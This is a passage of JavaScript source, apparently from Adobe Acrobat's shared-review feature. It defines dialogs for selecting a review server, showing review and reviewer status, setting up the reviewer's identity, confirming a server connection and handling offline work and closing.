					this.didSelect(dialog, key);

				}

			}

						

			CBSharedReviewMakeSelectFunction(description, id);

			if(server.initiatorDescription.length > maxDescStr.length)

				maxDescStr = server.initiatorDescription;

		}



		description.idle = function(dialog)

		{

			var name = dialog.store()["name"];

			var next = name != undefined && name.length > 0 && name.match(/^\s+$/) == null && this.selected != null;

			this.hasUserName = (this.selected.initiatorDefaultName != name);

			dialog.enable({next: next});

		};



		description.initialize = function(dialog)

		{

			var toLoad = { tip1: "C_Info_Xl_N.png" };

			var selection = "svr0";



			if(typeof this.data.toAdd != "undefined")

			{

				if(typeof this.data.toAdd.name != "undefined")

					toLoad.name = this.data.toAdd.name;



				if(typeof this.data.toAdd.type != "undefined")

				{

					selection = this.data.toAdd.type;

					this.hasUserName = true;

				}

			} 

			

			toLoad[selection] = true;

			dialog.load(toLoad);



			this.didSelect(dialog, selection);

		};



		description.commit = function(dialog, next)

		{

			if(!next) return;



			app.beginPriv();

			var servers = Collab.reviewServers;

			app.endPriv();



			server_name = dialog.store()["name"];



			if(server_name.length > 60)

			{

				app.beginPriv();

				app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_SERVER_NAME_TOO_LONG});

				app.endPriv();

				DebugThrow ("Server Name too long");

			}



			for(var i in servers)

			{

				var server = servers[i];

				if(server_name == server.UI)

				{

					var msg = AnnotsString.IDS_SHARED_REVIEW_SERVER_NAME_NOT_UNIQUE.replace(/\{cServerName\}/, server_name)

					app.beginPriv();

					app.alert({cMsg: msg});

					app.endPriv();

					DebugThrow ("Server Name not Unique")

				}

			}



			if(this.selected != null)

			{

				this.data.toAdd = {};

				this.data.toAdd.server = this.selected;

				this.data.toAdd.name = dialog.store()["name"];

				this.data.toAdd.type = this.selectedID;

			}

		};



		description.didSelect = function(dialog, id)

		{

			this.selectedID = id;

			this.selected = this.serverControls[id];

			var toLoad = {};



			if(!this.hasUserName)

				toLoad.name = this.selected.initiatorDefaultName;



			toLoad.desc = this.selected.initiatorDescription;

			dialog.load(toLoad);

		};



		description.description = 

		[

			{

				type: "static_text",

				name: AnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_TEXT,

				wrap_name: true,

				width: Collab.wizardWidth,

			},

			{

				type: "edit_text",

				item_id: "name",

				alignment: "align_fill"

			},

			{

				type: "static_text",

				bold: true,

				font: "dialog",

				name: AnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_TITLE,

			},

			{

				type: "view",

				align: "align_top",

				elements: serverDesc

			},

			{

				type: "cluster",

				name: AnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_DESCRIPTION,

				align_children: "align_row",

				elements:

				[

					{

						type: "static_text",

						align: "align_top",

						item_id: "desc",

						wrap_name: true,

						name: maxDescStr,

						width: Collab.wizardWidth,

					}

				]

			},

		];



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	CBSharedReviewConfigureServerStepDescription = function(dataWiz)

	{

		app.beginPriv();

		var driver = dataWiz.toAdd.server;

		var desc = ANTrustPropagateAll(driver.getInitiatorConfig());

		dataWiz.toAdd.config = desc.getSetting();

		return desc;

		app.endPriv();

	}



	

	getFolderNameRemovedPath = function (cSourceURL)

	{

		var pos = cSourceURL.length - 2;	// start from end but escape one slash

		var searchPos;

		for (searchPos = pos ; searchPos > 1; searchPos--)

			if (cSourceURL.charAt(searchPos) == '/') break;

		return cSourceURL.substr(0,searchPos);

	}





	CBSharedReviewStatusDialog = app.trustedFunction(function(cReviewID, doc, cDriverURI, bReturning)

	{

		try

		{

        

		var title = bReturning ? 

			AnnotsString.IDS_SHARED_REVIEW_STATUS_RETURNING_TITLE :

			AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIAL_TITLE;



		var width = 600;



		app.beginPriv();

		var reviewInfo = Collab.getReviewInfo(cReviewID);

		app.endPriv();



		var oServerIcon = Collab.getIcon("AX_Server_Lg_N.png");

		var oSharedReviewIcon = Collab.getIcon("A_SendForSharedReview_Xl_N.png");



		var url = util.crackURL(reviewInfo.cReviewURL);

		

		app.beginPriv();

		var bIsAcrobatDotCom = Collab.isDocCenterURL(reviewInfo.cReviewURL);

		if(bIsAcrobatDotCom)

			url.cHost = AnnotsString.IDS_TRACKER_ACROBAT_DOT_COM;

		else

			url.cHost = Collab.getFullyQualifiedHostname(url.cHost);

		app.endPriv();



		var result =

		{

			bDoPublish: !bReturning,

			bDoNotShowWelcomeDialog: false

		};



        //Try decoding it with decodeURI first. If that fails, try it with unescape. If that too fails, simply show the normal documentFileName

        var decodedFileName = null;;

        try

        {

            decodedFileName = decodeURI(doc.documentFileName);        

        }

        catch(e)

        {

            decodedFileName = unescape(doc.documentFileName);

        }

        if(!decodedFileName || (typeof decodedFileName != "string"))

            decodedFileName = doc.documentFileName;



		var description = 

		{

			reviewInfo: reviewInfo,

			result: result,

			documentFileName: decodedFileName,

			bAcrobatDotCom: bIsAcrobatDotCom,

			oDialog: {},

			bUpdatedOnce: false,



			initialize: function(dialog)

			{

				this.reviewInfo.setHandler(this);

				var props =

				{

					sico: oServerIcon, 

					rico: oSharedReviewIcon, 

					publ: this.result.bDoPublish

				};



				dialog.load(props);



				this.setIdentityInfo(dialog);

				this.setReviewersInfo(dialog);

				this.oDialog = dialog;

				dialog.makeDefault("ok");

				dialog.focus("ok");

			},



			commit: function(dialog)

			{

				this.result.bDoPublish = dialog.store()["publ"];

				this.result.bDoNotShowWelcomeDialog = dialog.store()["srwe"];

			},



			didUpdateReview: function()

			{

			    this.bUpdatedOnce = true;

				this.setReviewersInfo(this.oDialog);

			},



            haveUpdatedOnce: function()

            {

                return this.bUpdatedOnce;

            }, 



			setIdentityInfo: function(dialog)

			{

				app.beginPriv();

			    if(bIsAcrobatDotCom == true)

			    {

	   				var params =

    				{

	    				name: shareIdentity.FullName,

		    			titl: shareIdentity.Title,

			    		mail: shareIdentity.Email

				    };

				    //If title is absent, show email first

				    if(params.titl == "")

				    {

				        params.titl = params.mail;

				        params.mail = "";

				    }

			    } 

			    else

			    {  

				    var params =

				    {

					    name: identity.name,

					    titl: identity.title,

					    mail: identity.email

				    };

				    if(params.name == "") 

					    params.name = identity.loginName;

				    //If title is absent, show email first

				    if(params.titl == "")

				    {

				        params.titl = params.mail;

				        params.mail = "";

				    }

			    }

				app.endPriv();



				dialog.load(params);

			},



			setReviewersInfo: function(dialog)

			{

				var reviewInfo = this.reviewInfo;

				var oReviewers = reviewInfo.oReviewers;



				var nActiveReviewers = 0;



				var params =

				{

					"list":

					{

						aColumns: 

						[

							{ Name: "Email", UI: AnnotsString.IDS_SHARED_REVIEW_STATUS_EMAIL, width: 0.25 }, 

							{ Name: "Name", UI: AnnotsString.IDS_SHARED_REVIEW_STATUS_NAME, width: 0.25 }, 

							{ Name: "Title", UI: AnnotsString.IDS_SHARED_REVIEW_STATUS_TITLE, width: 0.15 }, 

							{ Name: "Comments", UI: AnnotsString.IDS_SHARED_REVIEW_STATUS_COMMENTS, width: 0.23, Justification: 1 },

							{ Name: "Status", UI: AnnotsString.IDS_SHARED_REVIEW_STATUS_STATUS, width: 0.12 }, 

						],



						aRows: []

					},

				};



				var oStatus =

				{

					Initiator: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_INITIATOR,

					Required: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_REQUIRED,

					Optional: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_OPTIONAL,

					Uninvited: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_ADDED,

				};



				for(var i in oReviewers)

				{

					if(i != undefined && i != "")

					{

						var cName = oReviewers[i].cName;

						if(cName == undefined) cName = "";



						var cTitle = oReviewers[i].cTitle;

						if(cTitle == undefined) cTitle = "";



						var nComments = oReviewers[i].nComments;

						var nNewComments = oReviewers[i].nNewComments;



						if(nComments != undefined)

						{

							nActiveReviewers++;

						}

						else

						{

							nComments = 0;

							nNewComments = 0;

						}



						var comments;

						comments = AnnotsString.IDS_SHARED_REVIEW_STATUS_N_COMMENTS;

    					comments = comments.replace(/%totalComments%/, " " + nComments);

						comments = comments.replace(/%newComments%/, nNewComments + " ");

						if(!oReviewers[i].bHasParticipated)

	    					comments = "";



						var row = 

						{

							Email: i,

							Name: cName,

							Title: cTitle,

							Comments: "" + comments,

							Status: oStatus[oReviewers[i].cStatus],

						};



						params.list.aRows[params.list.aRows.length] = row;

					}

				}



				if(reviewInfo.cState == "Ended")

				{

					var heading = AnnotsString.IDS_SHARED_REVIEW_STATUS_ENDED_HEADING;

					heading = heading.replace(/%filename%/, this.documentFileName);

					params["rtxt"] = heading;

					params["rico"] = Collab.getIcon("A_ReviewEndedReviewFile_45x45_N.png");

				}

				else if(reviewInfo.cState == "Corrupted")

				{

					var heading = AnnotsString.IDS_SHARED_REVIEW_STATUS_CORRUPTED_HEADING;

					heading = heading.replace(/%filename%/, this.documentFileName);

					params["rtxt"] = heading;

					params["rico"] = Collab.getIcon("A_ReviewCorruptedReviewFile_45x45_N.png");

				}

				else

				{

					var heading = result.bDoPublish ? 

		                AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIAL_HEADING :

		                AnnotsString.IDS_SHARED_REVIEW_STATUS_RETURNING_HEADING;



	                heading = heading.replace(/%filename%/, this.documentFileName);

			        params["rtxt"] = heading;

					params["rico"] = Collab.getIcon("A_SendForSharedReview_Xl_N.png");

				}



                var nDraftComments = reviewInfo.nDraftComments; 

 				if(reviewInfo.cState == "Ended")

				{

				    var s = AnnotsString.IDS_SHARED_REVIEW_STATUS_MANY_DRAFT_COMMENTS_REVIEW_ENDED;

				    if(nDraftComments == 0) s = AnnotsString.IDS_SHARED_REVIEW_STATUS_ZERO_DRAFT_COMMENTS_REVIEW_ENDED;

				    else if(nDraftComments == 1) s = AnnotsString.IDS_SHARED_REVIEW_STATUS_ONE_DRAFT_COMMENTS_REVIEW_ENDED;

				    params["sDft"] = s.replace(/%num%/, "" + nDraftComments);				

				}

				else

				{

				    var s = AnnotsString.IDS_SHARED_REVIEW_STATUS_MANY_DRAFT_COMMENTS;

				    if(nDraftComments == 0) s = "";

				    else if(nDraftComments == 1) s = AnnotsString.IDS_SHARED_REVIEW_STATUS_ONE_DRAFT_COMMENTS;

				    params["sDft"] = s.replace(/%num%/, "" + nDraftComments);

                }



				params["sDed"] = reviewInfo.cDeadlineWelcomeString;



				var s = AnnotsString.IDS_SHARED_REVIEW_STATUS_COMMENTS_WELCOME;

				s = s.replace(/%newComments%/, "" + reviewInfo.nNewComments);

				params["sCom"] = s.replace(/%totalComments%/, "" + reviewInfo.nComments);



				var s = AnnotsString.IDS_SHARED_REVIEW_STATUS_REVIEWERS_WELCOME;

				s = s.replace(/%activeNum%/, "" + nActiveReviewers);

				params["sRev"] = s.replace(/%num%/, "" + reviewInfo.nNewReviewers);



                //Shift information up in case draft comments is empty

               if(params["sDft"] == "")

               {

                    params["sDft"] = params["sDed"];

                    params["sDed"] = params["sCom"];

                    params["sCom"] = params["sRev"];

                    params["sRev"] = "";

               } 



				dialog.load(params);

			},



			description: 

			{

				name: title,

				width: width,

				elements:

				[

					{

						type: "view",

						elements:

						[

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "image",

										item_id: "rico",

										width: oSharedReviewIcon.width,

										height:oSharedReviewIcon.height 

									},

									{

										type: "static_text",

										item_id: "rtxt",

										font: "title",

										truncate: "truncate_end",

										width : 4 * width /5, 

										height: 25,

									},

								]

							},

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "cluster",

										dheight: 140,

										width: 2* width /3,

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_STATUS_REVIEW_STATUS,

												font: "heading",

												height: 20,

											},

											{

												type: "static_text",

												item_id: "sDft",

												width: 2* width /3

											},

											{

												type: "static_text",

												item_id: "sDed",

												width: 2* width /3

											},

											{

												type: "static_text",

												item_id: "sCom",

												width: 2* width /3

											},

											{

												type: "static_text",

												item_id: "sRev",

												width: 2* width /3

											},

										]

									},

									{

										type: "cluster",

										alignment: "align_top",

										width: width / 3,

										dheight: 140,

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_STATUS_REVIEWER_PROFILE,

												font: "heading",

												height: 20,

											},

											{

												type: "static_text",

												item_id: "name",

											    truncate: "truncate_end",

												width: width / 3,

											},

											{

												type: "static_text",

												item_id: "titl",

												truncate: "truncate_end",

												width: width / 3,

											},

											{

												type: "static_text",

												item_id: "mail",

												truncate: "truncate_end",

												width: width / 3,

											},			

										]

									},

								]

							},

							{

								type: "view",

								alignment: "align_fill",

								align_children: "align_fill",

								width: width,

								elements:

								[

									{

										type: "mclv",

										item_id: "list",

										alignment: "align_fill",

										height: 170,

									},

								]

							},

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "image",

										item_id: "sico",

										width: oServerIcon.width,

										height:oServerIcon.height 

									},

									{

										type: "static_text",

										alignment: "align_left",

										font: "dialog",

										bold: true,

										name: AnnotsString.IDS_SHARED_REVIEW_STATUS_REVIEW_SERVER

									},

									{

										type: "static_text",

										alignment: "align_left",

										name: url.cHost

									},

								]

							},

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: "check_box",

										item_id: "srwe",

										name: AnnotsString.IDS_DONT_SHOW_AGAIN,

									},

									{

										type: "ok",

									},

								]

							},

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.execDialog(description);

		app.endPriv();



        //Set the handler to NULL again because welcome screen has got dismissed now

        reviewInfo.setHandler();



		return description.result;

		}

		catch(e)

		{

			//console.println(e);

			//console.println(e.stack);

		}

	});



	ANIdentityDialog = app.trustedFunction(function(bCanCancel)

	{

		var labelWidth = 300;

    	

		var idFields = 

		[

			{

				type: "static_text",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_SETUP_TEXT,

				alignment: "align_fill",

				bold: true,

				font: "dialog",

			//	wrap_name: true,

			},

			{

					type: "gap",

					height: 10,

			},

			{

				type: "static_text",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_EMAIL,

				alignment: "align_fill",

				font: "dialog",

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "mail"

			},

		];



		if(!hasHanko())

		{

			idFields = idFields.concat(

			[

				

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_NAME 

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "name"

				},

			]

			);

		}

		else

		{

			idFields = idFields.concat(

			[

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_LAST_NAME

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "lnme"

				},

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_FIRST_NAME

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "fnme"

				},

			]

			);

		}



		idFields = idFields.concat(

		[

			{

				type: "static_text",

				alignment: "align_fill",

				font: "dialog",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_JOB_TITLE

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "jobt"

			},

			{

				type: "static_text",

				alignment: "align_fill",

				font: "dialog",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_COMPANY

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "cmpy"

			},

			{

				type: "gap",

				width: 8,

			},

			{

				type: "static_text",

				name: "",

				alignment: "align_fill",

				separator: 1,

			},

			{

				type: "view",

				align_children: "align_row",

				alignment: "align_center",

				elements:

				[

					{

						type: "image",

						item_id:"img1",

						width: 32,

						height: 32

					},

					{

						type: "static_text",

						name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_PREF_TEXT,

					}

				]

			},

			{

				type: bCanCancel ? "ok_cancel" : "ok" 

			},

		]);

		



		var description = 

		{



			bResult: false,

			oDialog: null,

			bHasHanko: hasHanko(),



			initialize: function(dialog)

			{

				var props = {};



				app.beginPriv();

				props.fnme = identity.firstName;

				props.lnme = identity.lastName;

				props.name = identity.name;

				if(props.name == "")

				    props.name = shareIdentity.FullName;

				props.mail = identity.email;

				if(props.mail == "")

				    props.mail = shareIdentity.Email;

				props.cmpy = identity.corporation;

				if(props.cmpy == "")

				    props.cmpy = shareIdentity.Corporation;

				props.jobt = identity.title;

				if(props.jobt == "")

				    props.jobt = shareIdentity.Title;

				props.img1 = "C_Info_Xl_N.png";

				app.endPriv();



				dialog.makeDefault("name");

				dialog.focus("name");

				

				dialog.load(props);

				dialog.visible({ hide: false });

				this.oDialog = dialog;

			},



			isValid: function(dialog)

			{

				var props = dialog.store();

				var bHasName = false;

				if(this.bHasHanko)

				{

					bHasName = props.fnme != "" && props.lnme != "";

				}

				else bHasName = props.name != "";



				return CBIsValidEmail(props.mail) && bHasName; 

						// jobt and job desc are no more mandatory fields

						//&& props.jobt.length > 0 && props.jobt.match(/^\s+$/) == null;

			},



			idle: function(dialog)

			{

				dialog.enable({ "ok": this.isValid(this.oDialog) });

			},



			commit: function(dialog)

			{

				var props = dialog.store();

				app.beginPriv();

				identity.email = props.mail;



				if(this.bHasHanko)

				{

					identity.firstName = props.fnme;

					identity.lastName = props.lnme;

				}

				else identity.name = props.name;



				if(props.cmpy != "") identity.corporation = props.cmpy;

				if(props.jobt != "") identity.title = props.jobt;

				app.endPriv();



				this.bResult = this.isValid(dialog);

			},



			ok: function(dialog)

			{

				dialog.end("ok");

			},

			

			description: 

			{

				type:"view",

				width: 400,

				height: Collab.wizardHeight,

				margin_height: Collab.marginHeight,

				margin_width: Collab.wizardMarginWidth,

			//	align_children: "align_left",

				elements:

				[

					{

						type: "view",

						align_children: "align_left",

						elements:idFields

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.execDialog(description);

		app.endPriv();

		return description.bResult;

	});



	

	function ANValidateIdentity ()

	{

		var props = {};



		app.beginPriv();

		props.fnme = identity.firstName;

		props.lnme = identity.lastName;

		props.name = identity.name;

		props.mail = identity.email;

		props.cmpy = identity.corporation;

		props.jobt = identity.title;

		app.endPriv();



		var bHasName = false;

		if(this.bHasHanko)

		{

			bHasName = props.fnme != "" && props.lnme != "";

		}

		else bHasName = props.name != "";



		return CBIsValidEmail(props.mail) && bHasName;

		//only email and name fields are mendatory

		//&& props.jobt.length > 0 && props.jobt.match(/^\s+$/) == null;

	}

	

    IWIdentityDialog = function()

    {

    	var labelWidth = 300;

    	

		var idFields = 

		[

			{

				type: "static_text",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_SETUP_TEXT,

				alignment: "align_fill",

				bold: true,

				font: "dialog",

			//	wrap_name: true,

			},

			{

					type: "gap",

					height: 10,

			},

			{

				type: "static_text",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_EMAIL,

				alignment: "align_fill",

				font: "dialog",

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "mail"

			},

		];



		if(!hasHanko())

		{

			idFields = idFields.concat(

			[

				

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_NAME 

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "name"

				},

			]

			);

		}

		else

		{

			idFields = idFields.concat(

			[

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_LAST_NAME

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "lnme"

				},

				{

					type: "static_text",

					alignment: "align_fill",

					font: "dialog",

					name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_FIRST_NAME

				},

				{

					type: "edit_text",

					alignment: "align_left",

					width: labelWidth,

					item_id: "fnme"

				},

			]

			);

		}



		idFields = idFields.concat(

		[

			{

				type: "static_text",

				alignment: "align_fill",

				font: "dialog",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_JOB_TITLE

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "jobt"

			},

			{

				type: "static_text",

				alignment: "align_fill",

				font: "dialog",

				name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_COMPANY

			},

			{

				type: "edit_text",

				alignment: "align_left",

				width: labelWidth,

				item_id: "cmpy"

			},

			{

				type: "gap",

				width: 8,

			},

			{

				type: "static_text",

				name: "",

				alignment: "align_fill",

				separator: 1,

			},

			{

				type: "view",

				align_children: "align_row",

				alignment: "align_center",

				elements:

				[

					{

						type: "image",

						item_id:"img1",

						width: 32,

						height: 32

					},

					{

						type: "static_text",

						name: AnnotsString.IDS_SHARED_REVIEW_IDENTITY_PREF_TEXT,

					}

				]

			}

		]);

		

		var description = 

		{

			bResult: false,

			oDialog: null,

			bHasHanko: hasHanko(),



			initialize: function(dialog)

			{

				var props = {};

				

				app.beginPriv();



				props.fnme = (this.data.firstName == undefined)?identity.firstName:this.data.firstName ;

				props.lnme = (this.data.lastName == undefined)?identity.lastName:this.data.lastName ;

				props.name = (this.data.name == undefined)?identity.name:this.data.name;

				if(props.name == "")

				    props.name = shareIdentity.FullName;

				props.mail = (this.data.emailid == undefined)?identity.email:this.data.emailid;

				if(props.mail == "")

				    props.mail = shareIdentity.Email;

				props.cmpy = (this.data.corporation == undefined)?identity.corporation:this.data.corporation;

				if(props.cmpy == "")

				    props.cmpy = shareIdentity.Corporation;

				props.jobt = (this.data.title == undefined)?identity.title:this.data.title;

    			if(props.jobt == "")

				    props.jobt = shareIdentity.Title;

				props.img1 = "C_Info_Xl_N.png";

				app.endPriv();

				

				dialog.makeDefault("mail");

				dialog.focus("mail");



				dialog.visible({"help": false});

				dialog.load(props);

				dialog.enable({next: false});

				this.oDialog = dialog;

			},



			isValid: function(dialog)

			{

				var props = dialog.store();

				var bHasName = false;

				if(this.bHasHanko)

				{

					bHasName = props.fnme != "" && props.lnme != "";

				}

				else bHasName = props.name != "";



				return CBIsValidEmail(props.mail) && bHasName; 

						// jobt and job desc are no more mandatory fields

						//&& props.jobt.length > 0 && props.jobt.match(/^\s+$/) == null;

			},



			idle: function(dialog)

			{

                if(this.data.reviewType == "FormDistribution")

                    dialog.enable({prev:false});

				dialog.enable({ next: this.isValid(this.oDialog) });

			},



			commit: function(dialog, next)

			{

				var props = dialog.store();

				if(next)

				{

					this.data.emailid = "";

					this.data.firstName = "";

					this.data.lastName = "";

					this.data.name = "";

					this.data.corporation = "";

					this.data.title = "";

					

					app.beginPriv();

					identity.email = props.mail;

	

					if(this.bHasHanko)

					{

						identity.firstName = props.fnme;

						identity.lastName = props.lnme;

					}

					else identity.name = props.name;

	

					if(props.cmpy != "") identity.corporation = props.cmpy;

					if(props.jobt != "") identity.title = props.jobt;

					app.endPriv();

	

					this.bResult = this.isValid(dialog);

				}

				else

				{

					this.data.emailid = props.mail;

					

					if(this.bHasHanko)

					{

						this.data.firstName = props.fnme;

						this.data.lastName = props.lnme;

					}

					else 

						this.data.name = props.name;

					

					if(props.cmpy != "") this.data.corporation = props.cmpy;



					if(props.jobt != "") this.data.title = props.jobt;

				}

			},



			description: 

			{

				type:"view",

				width: Collab.wizardWidth,

				height: Collab.wizardHeight,

				margin_height: Collab.marginHeight,

				margin_width: Collab.wizardMarginWidth,

				align_children: "align_left",

				alignment: "align_fill",

				elements: idFields

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();



		return description;

	}



	

	CBSharedReviewSecurityDialog = app.trustedFunction(function(cReviewID, cSourceURL, doc)

	{

		try

		{

		var url = util.crackURL(cSourceURL);

		

		var hostFQHN;

		

		app.beginPriv();

		var bIsAcrobatDotCom = Collab.isDocCenterURL(cSourceURL);

		if(bIsAcrobatDotCom)

			hostFQHN = AnnotsString.IDS_TRACKER_ACROBAT_DOT_COM;

		else

			hostFQHN = Collab.getFullyQualifiedHostname(url.cHost);

		app.endPriv();



		var oIcon = Collab.getIcon("A_SendForSharedReview_Xl_N.png");

		var title = AnnotsString.IDS_SHARED_REVIEW_SECURE_TITLE;

		title = title.replace(/\{cProductName\}/, app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT);





        //Try decoding it with decodeURI first. If that fails, try it with unescape. If that too fails, simply show the normal documentFileName

        var decodedFileName = null;;

        try

        {

            decodedFileName = decodeURI(doc.documentFileName);        

        }

        catch(e)

        {

            decodedFileName = unescape(doc.documentFileName);

        }

        if(!decodedFileName || (typeof decodedFileName != "string"))

            decodedFileName = doc.documentFileName;



		var body = AnnotsString.IDS_SHARED_REVIEW_SECURE_BODY;

		body = body.replace(/\{cFilename\}/, decodedFileName);

		body = body.replace(/\{cServer\}/, hostFQHN);

		body = CBSetProductVariant(body);

		

		var description = 

		{

			bResult: false,

			bdoNotShowConnectDialog: false,



			initialize: function(dialog)

			{

				dialog.load({ sImg: oIcon });

			},



			srco: function(dialog)

			{

			    this.bdoNotShowConnectDialog = dialog.store()["srco"];

			},

			cont: function(dialog)

			{

				this.bResult = true;

				dialog.end();

			},



			cncl: function(dialog)

			{

				dialog.end();

			},



			description: 

			{

				name: title,

				width: Collab.wizardWidth,

				elements:

				[

					{

						type: "view",

						align_children: "align_left",

						elements:

						[

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "image",

										item_id: "sImg",

										width: oIcon.width,

										height: oIcon.height, 

									},

									{

										type: "static_text",

										wrap_name: true,

										width: Collab.wizardWidth,

										name: body

									},

								]

							},

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: "check_box",

										item_id: "srco",

										name: AnnotsString.IDS_DONT_SHOW_AGAIN

									},

									{

										type: "gap",

										alignment: "align_fill"

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_right",

										elements:

										[

											{

												type: "button",

												name: AnnotsString.IDS_SHARED_REVIEW_SECURE_CONNECT,

												item_id: "cont"

											},

											{

												type: "button",

												name: AnnotsString.IDS_CANCEL,

												item_id: "cncl"

											},

										]

									},

								]

							},

						]

					}

				]

			}

		};



		app.beginPriv();

		app.execDialog(description);

		app.endPriv();



        var res =   {

                        result : description.bResult,

                        doNotShowConnectDialog : description.bdoNotShowConnectDialog,

                    };

		return res;



		}

		catch(e)

		{

			//console.println(e);

			//console.println(e.stack);

		}



	});



	CBSharedReviewIfOfflineDialog = app.trustedFunction(function(cSourceURL, doc)

	{

		var oWorkOfflineIcon = Collab.getIcon("A_DisconnectedFromServer_Xl_N.png");

		var url = util.crackURL(cSourceURL);

		app.beginPriv();

		var bIsAcrobatDotCom = Collab.isDocCenterURL(cSourceURL);

		if(bIsAcrobatDotCom)

			url.cHost = AnnotsString.IDS_TRACKER_ACROBAT_DOT_COM;

		else

			url.cHost = Collab.getFullyQualifiedHostname(url.cHost);

		app.endPriv();

		var body = AnnotsString.IDS_SHARED_REVIEW_OFFLINE_BODY;

		body = body.replace(/\{cServer\}/, url.cHost);

		body = CBSetProductVariant(body);

		var description = 

		{

			initialize: function(dialog)

			{

				dialog.focus("offl");

				dialog.load({ tip1: "C_Info_Xl_N.png", dico: oWorkOfflineIcon });

			},



			offl: function(dialog)

			{

				dialog.end("offl");

			},



			onli: function(dialog)

			{

				dialog.end("onli");

			},



			description: 

			{

				width: Collab.wizardWidth,

				elements:

				[

					{

						type: "view",

						align_children: "align_left",

						elements:

						[

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "image",

										item_id: "dico",

										width: oWorkOfflineIcon.width,

										height:oWorkOfflineIcon.height 

									},

									{

										type: "static_text",

										wrap_name: true,

										width: Collab.wizardWidth,

										name: body,

									},

								]

							},

						].concat(

						[

							{

								type: "view",

								align_children: "align_distribute",

								alignment: "align_right",

								elements:

								[

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_OFFLINE_WORK_DISCONNECTED,

										item_id: "offl"

									},

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_OFFLINE_WORK_CONNECTED,

										item_id: "onli"

									},

								]

							}

						])

					}

				]

			}

		};



		app.beginPriv();

		var closedWith = app.execDialog(description);

		app.endPriv();



		switch(closedWith)

		{

			default:

			case "onli":

				result = -1;

				break;



			case "offl":

				result = 1;

				break;

		}

				

		return result;

	});



	CBSharedReviewCloseDialog = app.trustedFunction(function(doc, bDirty, bMustClose, bEnded)

	{

		var body = AnnotsString.IDS_SHARED_REVIEW_CLOSE_DIRTY_BODY;

        

        //Assumption - This dialog will never be invoked for a publishing-disabled document

  	    

  	    if(bMustClose)   // If opened in browser

  	    {

  	        if(bEnded)

      	        body = AnnotsString.IDS_SHARED_REVIEW_CLOSE_BROWSER_PUBLISH_REVIEWENDED_BODY;

      	    else

      	        body =  AnnotsString.IDS_SHARED_REVIEW_CLOSE_BROWSER_BODY;

        }

        else

        {

           if(bEnded)

            {

                if(bDirty) //New comments added

                {

                    // Review ended during document open, but publish still allowed

                    body = AnnotsString.IDS_SHARED_REVIEW_CLOSE_DIRTY_PUBLISH_REVIEWENDED_BODY;

                }

                else  //Document not dirty

                {

                    // Review ended but publishing still allowed since draft comments were present

                    body = AnnotsString.IDS_SHARED_REVIEW_CLOSE_NONDIRTY_PUBLISH_REVIEWENDED_BODY;

                }          

            }

    	    else  // Review is NOT ended

    	    {

    	        if(bDirty)

